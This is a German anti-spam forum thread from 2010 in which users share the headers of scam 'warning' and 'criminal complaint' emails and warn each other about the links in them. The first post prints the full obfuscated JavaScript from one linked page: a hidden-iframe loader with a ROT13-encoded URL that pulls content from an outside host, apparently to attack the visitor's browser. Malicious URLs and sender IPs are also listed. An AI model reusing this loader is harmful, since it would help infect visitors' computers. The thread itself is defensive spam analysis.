Ergebnis 1 bis 7 von 7

Thema: Hilfe, ich habe eine Verwarnung bekommen :-)

  1. #1
    jens69
    Gast

    Standard Hilfe, ich habe eine Verwarnung bekommen :-)

    Jetzt hab ich Angst! :-)

    Verschickt über Indien:


    header:
    01: X-Spam-Checker-Version: SpamAssassin 3.2.3 (2007-08-08) on
    02:
    03: X-Spam-Level: ****
    04: X-Spam-Status: No, score=4.8 required=8.0 tests=BAYES_50,FH_DATE_PAST_20XX,
    05: RCVD_IN_PBL,RCVD_IN_SORBS_WEB,RDNS_DYNAMIC autolearn=no version=3.2.3
    06: Received: (qmail 3228 invoked by UID: [UID filtered]
    07: Delivered-To:
    08: Received: (qmail 3207 invoked by UID: [UID filtered]
    09: Delivered-To:
    10: Received: (qmail 3197 invoked from network); 23 Mar 2010 xx:xx:xx +0000
    11: Received-SPF: none (no valID: [ID filtered]
    12: Received: from abts-mum-dynamic-069.25.170.122.airtelbroadband.in (122.170.25.69)
    13: by xxx with SMTP; 23 Mar 2010 xx:xx:xx +0000
    14: Received: from 122.170.25.69 by mail-sc.homeservices.com; Tue, 23 Mar 2010 xx:xx:xx
    15: +0530
    16: From: "Rachelle Frank" <lateralzi [at] robertsbrothers.com>
    17: To: <xxx>
    18: Subject: Wichtige Warnung fur xxx
    19: Date: Tue, 23 Mar 2010 xx:xx:xx +0530
    20: Message-ID: [ID filtered]
    21: MIME-Version: 1.0
    22: Content-Type: text/plain;
    23: charset="iso-8859-1"
    24: Content-Transfer-Encoding: 7bit
    25: X-Priority: 3 (Normal)
    26: X-MSMail-Priority: Normal
    27: X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
    28: X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700
    29: Importance: Normal

    Sie haben soeben eine Verwarnung erhalten. Bitte unterlassen Sie sofort folgende
    Tatigkeiten: Liste siehe
    whois:http://ytroncoso.com/mind/
    Bitte den Link auf keinen Fall besuchen, dahinter scheinen sich Scripte zu verbergen, die versuchen den PC unter Kontolle zu bekommen:

    Code:
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
    <HTML><HEAD></HEAD>
    <BODY>
    <script>
    var lIIlII11Il=function(IllIIll1II){return IllIIll1II.replace(/[A-Za-z]/g,function(llll1I11Il){return String.fromCharCode((((llll1I11Il=llll1I11Il.charCodeAt(0))&223)-52)%26+(llll1I11Il&32)+65);});}
    var ll1lII1lI1=lIIlII11Il('uggc://znexrgvat-ebbg.pbz/fgneg.cuc');var lI1l1IIIl1=function(ll1lII1lI1){var lll11llIII=document.createElement('div');lll11llIII.innerHTML=ll1lII1lI1;lll11llIII.style.border='none';lll11llIII.id='l1IlIII1I1';lll11llIII.style.display='none';document.body.appendChild(lll11llIII);}
    var l1llIIlll1=function(){var lll11llIII=document.getElementById('l1IlIII1I1');lll11llIII=(lll11llIII.innerHTML=='')?'l1IlIII1I1':lll11llIII.innerHTML;return lll11llIII;}
    var lI1lIl1Ill=function(){try{lI1l1IIIl1(ll1lII1lI1);}catch(l1II1IlIII){}
    try{var l11Il1lI1l=l1llIIlll1();}catch(l1II1IlIII){}
    return l11Il1lI1l;}
    var lll1I1lllI=function(){var lll11llIII=document.createElement('iframe');lll11llIII['style']['display']='none';lll11llIII.id='lI1lIlIII1';lll11llIII.src='about:blank';document.body.appendChild(lll11llIII);}
    var II1lI1llIl=function(){lll1I1lllI();var lll11llIII=document.getElementById('lI1lIlIII1');lll11llIII.setAttribute('src',lI1lIl1Ill());return true;}
    II1lI1llIl();</script>404</BODY></HTML>
    mehr konnte ich über den Browser nicht bekommen.

    Und jetzt wieder raus aus knoppix...

  2. #2
    Diplom Privatier (c) Avatar von cmds
    Registriert seit
    04.05.2006
    Ort
    N 53° 07.274′ E 7° 58.678′
    Beiträge
    12.757

    Standard

    wir scheinen im selben Verteiler zu stehen


    header:
    01: Received: from unknown (HELO WOEUAZIR) (117.241.213.141)
    02: by vs2xxxxx.vserver.de with SMTP; 23 Mar 2010 xx:xx:xx +0000
    03: Received-SPF: neutral (vs2xxxxx.vserver.de: 117.241.213.141 is neither permitted nor
    04: denied by SPF record at rbutler.com)
    05: Received: from 117.241.213.141 by mail.rbutler.com; Tue, 23 Mar 2010 xx:xx:xx +0530
    06: Message-ID: [ID filtered]
    07: From: "Roberta Shook" <traumaog2 [at] rbutler.com>

    header:
    01: Received: from link54-58-worldvision-map.ecoweb.com (HELO ZUPWYIZTM) (77.246.54.58)
    02: by vs2xxxx.vserver.de with SMTP; 23 Mar 2010 xx:xx:xx +0000
    03: Received-SPF: neutral (vs2xxxxx.vserver.de: 77.246.54.58 is neither permitted nor
    04: denied by SPF record at rocajunyent.com)
    05: Received: from 77.246.54.58 by mail.rocajunyent.com; Tue, 23 Mar 2010 xx:xx:xx +0200
    06: From: "Ester Villa" <finnbn442 [at] rocajunyent.com>
    Url wie oben. Anzunehmen, das die die Firefox 3.6 Lücke angreifen?
    BTW: Update auf FF 3.6.2 ist verfügbar!)
    Die Signatur befindet sich aus technischen Gründen auf der Rückseite dieses Beitrages!
    Dieser Eintrag wurde extrem umweltfreundlich, aus wiederverwendeten Buchstaben gelöschter E-Mails geschrieben und ist vollständig digital abbaubar.
    „Ich fürchte den Tag, wenn Technologie unsere Wechselbeziehungen beeinflusst, die Welt wird Generationen von Idioten haben.” Albert Einstein 1879-1955
    „Die ältesten Wörter sind die besten und die kurzen die allerbesten." Sir Winston Churchill 1874–1965
    "Nur die Lüge braucht die Stütze der Staatsgewalt, die Wahrheit steht von alleine aufrecht."Thomas Jefferson1743-1826




  3. #3
    Mitglied Avatar von schmubo
    Registriert seit
    18.02.2007
    Ort
    53 miles west of venus
    Beiträge
    462

    Standard

    Das kurze Leben einer verdächtigen Seite:
    Zitat Zitat von ytroncoso.com
    This site has been suspended.
    Scambaiter Deutschland - wir sind der Sand im Getriebe der Betrugsmaschine!

  4. #4
    Gesperrt
    Registriert seit
    27.09.2007
    Ort
    Oblivion
    Beiträge
    120

    Daumen runter Strafanzeige - Spamie will Angst ausnutzen

    Die Spinnen die Spammer


    header:
    01: Delivered-To:
    02: [EMAIL="[EMAIL="[EMAIL="poor [at] spamvictim.tld"]poor [at] spamvictim.tld&#
    03: 1;/EMAIL]"][EMAIL="poor [at] spamvictim.tld"]poor [at] spamvictim.tld&#91
    04: /EMAIL][/EMAIL]"][EMAIL="[EMAIL="poor [at] spamvictim.tld"&
    05: 93;poor [at] spamvictim.tld[/EMAIL]"][EMAIL="poor [at] spamvictim.tld"&#9
    06: ;poor [at] spamvictim.tld[/EMAIL][/EMAIL][/EMAIL]
    07: Received: by 10.231.148.198 with SMTP ID: [ID filtered]
    08: Wed, 19 May 2010 xx:xx:xx -0700 (PDT)
    09: Received: by 10.231.125.145 with SMTP ID: [ID filtered]
    10: Wed, 19 May 2010 xx:xx:xx -0700 (PDT)
    11: Received-SPF: softfail (google.com: best guess record for domain of transitioning
    12: [EMAIL="[EMAIL="[EMAIL="poor [at] spamvictim.tld"]poor [at] spamvictim.tld&#
    13: 1;/EMAIL]"][EMAIL="poor [at] spamvictim.tld"]poor [at] spamvictim.tld&#91
    14: /EMAIL][/EMAIL]"][EMAIL="[EMAIL="poor [at] spamvictim.tld"&
    15: 93;poor [at] spamvictim.tld[/EMAIL]"][EMAIL="poor [at] spamvictim.tld"&#9
    16: ;poor [at] spamvictim.tld[/EMAIL][/EMAIL][/EMAIL] does not designate
    17: 201.25.30.154 as permitted sender) client-ip=201.25.30.154;
    18: Received: by 10.241.68.106 with POP3 ID: [ID filtered]
    19: Wed, 19 May 2010 xx:xx:xx -0700 (PDT)
    20: X-Gmail-Fetch-Info:
    21: [EMAIL="[EMAIL="[EMAIL="me [at] example.com"]me [at] example.com[/EMAIL&
    22: 93;"][EMAIL="me [at] example.com"]me [at] example.com[/EMAIL][/EM
    23: IL]"][EMAIL="[EMAIL="me [at] example.com"]me [at] example.com[/E
    24: AIL]"][EMAIL="me [at] example.com"]me [at] example.com[/EMAIL]&#9
    25: ;/EMAIL][/EMAIL] 7 pop.example.com 110 web666
    26: Return-Path:
    27: <[EMAIL="[EMAIL="[EMAIL="hawser16 [at] ramminc.com"]hawser16 [at] ramminc
    28: com[/EMAIL]"][EMAIL="hawser16 [at] ramminc.com"]hawser16 [at] ramminc
    29: com[/EMAIL][/EMAIL]"][EMAIL="[EMAIL="hawser16 [at] ramminc.c
    30: m"]hawser16 [at] ramminc.com[/EMAIL]"][EMAIL="hawser16 [at] ramminc.c
    31: m"]hawser16 [at] ramminc.com[/EMAIL][/EMAIL][/EMAIL]>
    32: X-Spam-Checker-Version: SpamAssassin 3.2.3 (2007-08-08) on
    33: server666.example.com
    34: X-Spam-Level:
    35: X-Spam-Status: No, score=-86.9 required=5.0 tests=FH_DATE_PAST_20XX,
    36: FH_HELO_EQ_D_D_D_D,HELO_DYNAMIC_IPADDR2,RDNS_DYNAMIC,TVD_RCVD_IP,
    37: USER_IN_ALL_SPAM_TO,XMAILER_MIMEOLE_OL_25340 autolearn=no version=3.2.3
    38: X-Original-To:
    39: [EMAIL="[EMAIL="[EMAIL="me [at] example.com"]me [at] example.com[/EMAIL&
    40: 93;"][EMAIL="me [at] example.com"]me [at] example.com[/EMAIL][/EM
    41: IL]"][EMAIL="[EMAIL="me [at] example.com"]me [at] example.com[/E
    42: AIL]"][EMAIL="me [at] example.com"]me [at] example.com[/EMAIL]&#9
    43: ;/EMAIL][/EMAIL]
    44: Delivered-To:
    45: [EMAIL="[EMAIL="[EMAIL="poor [at] spamvictim.tld"]poor [at] spamvictim.tld&#
    46: 1;/EMAIL]"][EMAIL="poor [at] spamvictim.tld"]poor [at] spamvictim.tld&#91
    47: /EMAIL][/EMAIL]"][EMAIL="[EMAIL="poor [at] spamvictim.tld"&
    48: 93;poor [at] spamvictim.tld[/EMAIL]"][EMAIL="poor [at] spamvictim.tld"&#9
    49: ;poor [at] spamvictim.tld[/EMAIL][/EMAIL][/EMAIL]
    50: Received: from 201-25-30-154.smace300.ipd.brasiltelecom.net.br
    51: (201-25-30-154.smace300.ipd.brasiltelecom.net.br [201.25.30.154])
    52: by server666.example.com (Postfix) with ESMTP ID: [ID filtered]
    53: for
    54: <[EMAIL="[EMAIL="[EMAIL="poor [at] spamvictim.tld"]poor [at] spamvictim.t
    55: d[/EMAIL]"][EMAIL="poor [at] spamvictim.tld"]poor [at] spamvictim.tld
    56: #91;/EMAIL][/EMAIL]"][EMAIL="[EMAIL="poor [at] spamvictim.tld&qu
    57: t;]poor [at] spamvictim.tld[/EMAIL]"][EMAIL="poor [at] spamvictim.tld&quot
    58: ]poor [at] spamvictim.tld[/EMAIL][/EMAIL][/EMAIL]>; Wed, 19 May
    59: 2010 xx:xx:xx +0200 (CEST)
    60: Received: from 201.25.30.154 by server513.appriver.com; Wed, 19 May 2010 xx:xx:xx -0300
    61: From: "Conradina neudecker"
    62: <[EMAIL="[EMAIL="[EMAIL="hawser16 [at] ramminc.com"]hawser16 [at] ramminc
    63: com[/EMAIL]"][EMAIL="hawser16 [at] ramminc.com"]hawser16 [at] ramminc
    64: com[/EMAIL][/EMAIL]"][EMAIL="[EMAIL="hawser16 [at] ramminc.c
    65: m"]hawser16 [at] ramminc.com[/EMAIL]"][EMAIL="hawser16 [at] ramminc.c
    66: m"]hawser16 [at] ramminc.com[/EMAIL][/EMAIL][/EMAIL]>
    67: To:
    68: <[EMAIL="[EMAIL="[EMAIL="poor [at] spamvictim.tld"]poor [at] spamvictim.t
    69: d[/EMAIL]"][EMAIL="poor [at] spamvictim.tld"]poor [at] spamvictim.tld
    70: #91;/EMAIL][/EMAIL]"][EMAIL="[EMAIL="poor [at] spamvictim.tld&qu
    71: t;]poor [at] spamvictim.tld[/EMAIL]"][EMAIL="poor [at] spamvictim.tld&quot
    72: ]poor [at] spamvictim.tld[/EMAIL][/EMAIL][/EMAIL]>
    73: Subject: Strafanzeigen fur
    74: [EMAIL="[EMAIL="[EMAIL="me [at] example.com"]me [at] example.com[/EMAIL&
    75: 93;"][EMAIL="me [at] example.com"]me [at] example.com[/EMAIL][/EM
    76: IL]"][EMAIL="[EMAIL="me [at] example.com"]me [at] example.com[/E
    77: AIL]"][EMAIL="me [at] example.com"]me [at] example.com[/EMAIL]&#9
    78: ;/EMAIL][/EMAIL]
    79: Date: Wed, 19 May 2010 xx:xx:xx -0300
    80: MIME-Version: 1.0
    81: Content-Type: text/plain;
    82: charset="iso-8859-1"
    83: Content-Transfer-Encoding: 7bit
    84: X-Mailer: Microsoft Office Outlook, Build 11.0.6353
    85: Thread-Index: [filtered]
    86: X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4963.1700
    87: Message-ID: [ID filtered]
    Sie haben soeben eine Verwarnung erhalten. Bitte unterlassen Sie sofort folgende Tatigkeiten: Liste siehe whois:http://rpaawaloks.com/
    Nicht das das bei mir funktionieren würde und überhaupt, erst Strafanzeige ansagen und dann ist es nur eine Verwarnung .

    P.S.

    Noch ne mail, diesmal mit folgendem Betreff:
    Personliche Antwort fur me@example.com


    Euro wird abgeschaffen - Bankkonnten bald eingefroren??? Genauer hier: whois:http://rpaawaloks.com/
    Huntress
    Geändert von mareike26 (20.05.2010 um 00:33 Uhr) Grund: whois repariert

  5. #5
    Graue Pestilenz Avatar von Fidul
    Registriert seit
    16.07.2005
    Beiträge
    6.405

    Standard

    Da das Teil gut verteilt auf den IPs 74.246.247.253, 186.85.67.42, 189.195.111.184, 190.140.114.196, 69.243.14.184 haust, kannst du dir sicher denken, was deinen Browser und seine Plugins dort erwarten.
    Wir kriegen euch alle!

  6. #6
    jens69
    Gast

    Standard

    Heute Nacht sind bei mit auch ne menge Strafanzeigen angekommen, die automatisch gelöscht worden sind. ich hab nur gesehen, daß der Filter die Nachrichten restlos entsorgt hat. Das dürften locker mal 9 solche Mails gewesen sein. Heute Nacht waren relativ viele Spammails angekommen, nachdem die letzten tage doch ziemlich Flaute war. Heute Nacht kamen fast alle 3x am, teilweise mit gleichem Absender. Es waren noch welche dabei, bei denen der betreff ähnlich wie die Anzeigen-Mails aufebaut waren. War also vermutlich die gleiche Bande, die heute Nacht wohl nicht schlafen konnte

  7. #7
    Senior Mitglied Avatar von madsi
    Registriert seit
    03.06.2009
    Ort
    im Land Brandenburg
    Beiträge
    1.174

    Standard

    Oh shit, ich wurde letzte Nacht ja auch mindestens zweimal angezeigt

    Hier mal der Header:


    header:
    01: Received: from [87.106.160.207] (helo=s15264031.onlinehome-server.info)
    02: by mx45.web.de with esmtp (WEB.DE 4.110 #4)
    03: ID: [ID filtered]
    04: for xx-yy[ at ]web.de; Thu, 20 May 2010 xx:xx:xx +0200
    05: Received: (qmail 23796 invoked by UID: [UID filtered]
    06: Delivered-To: 3-info[ at ]....de
    07: Received: (qmail 23790 invoked from network); 20 May 2010 xx:xx:xx +0200
    08: Received: from 18983063242.user.veloxzone.com.br (189.83.63.242)
    09: by s15264031.onlinehome-server.info with SMTP; 20 May 2010 xx:xx:xx +0200
    10: Received: from 189.83.63.242 by royalssi.com.pri-mx.smtproutes.com; Thu, 20 May 2010
    11: xx:xx:xx -0300
    12: Message-ID: [ID filtered]
    13: From: "Lil risch" <starves251 [at] royalssi.com>
    14: To: <info[ at ]....de>
    15: Subject: Sie werden angezeigt fur info[ at ]....de
    16: Date: Thu, 20 May 2010 xx:xx:xx -0300
    17: MIME-Version: 1.0
    18: Content-Type: text/plain;
    19: charset="Windows-1252"
    20: Content-Transfer-Encoding: 7bit
    21: X-Priority: 3
    22: X-MSMail-Priority: Normal
    23: X-Mailer: Microsoft Outlook Express 5.50.4807.1700
    24: X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700
    25: Return-Path: starves251 [at] royalssi.com

    Frage mich bloß, was eine Anzeige gegen mich mit dem Text, sinngemäß der Euro wurde abgeschafft, zu tun haben soll?

    Ah, vielleicht weil ich pöhser Purche in meinem Shop noch nicht auf DM zurückgestellt habe...
    Was Du nicht willst was man Dir tut, das füge auch keinem anderen zu.

Ähnliche Themen

  1. Hilfe ???? habe wichtige fragen !!!
    Von AiRt33k im Forum 2.2 SMS Spam
    Antworten: 9
    Letzter Beitrag: 30.01.2008, 20:02
  2. Sie haben eine Grusskarte bekommen
    Von pchenry126 im Forum 1.4 Phishing/Geldwäsche/Viren/Exploits
    Antworten: 8
    Letzter Beitrag: 15.08.2006, 01:27
  3. [UCE] Jetzt bekommen Sie Hilfe beim Ubersetzen
    Von dennis666 im Forum 1.1 deutschsprachig
    Antworten: 0
    Letzter Beitrag: 23.04.2004, 04:28
  4. [Virus?] Sorry, Ich habe Ihre Mail bekommen
    Von flurry im Forum 1.1 deutschsprachig
    Antworten: 2
    Letzter Beitrag: 30.10.2003, 15:02
  5. Hilfe Habe ich jespammt???
    Von JanM im Forum 4.2 Diskussion
    Antworten: 12
    Letzter Beitrag: 03.10.2002, 22:38

Lesezeichen

Lesezeichen

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •  
Partnerlink:
REDDOXX Anti-Spam Lösungen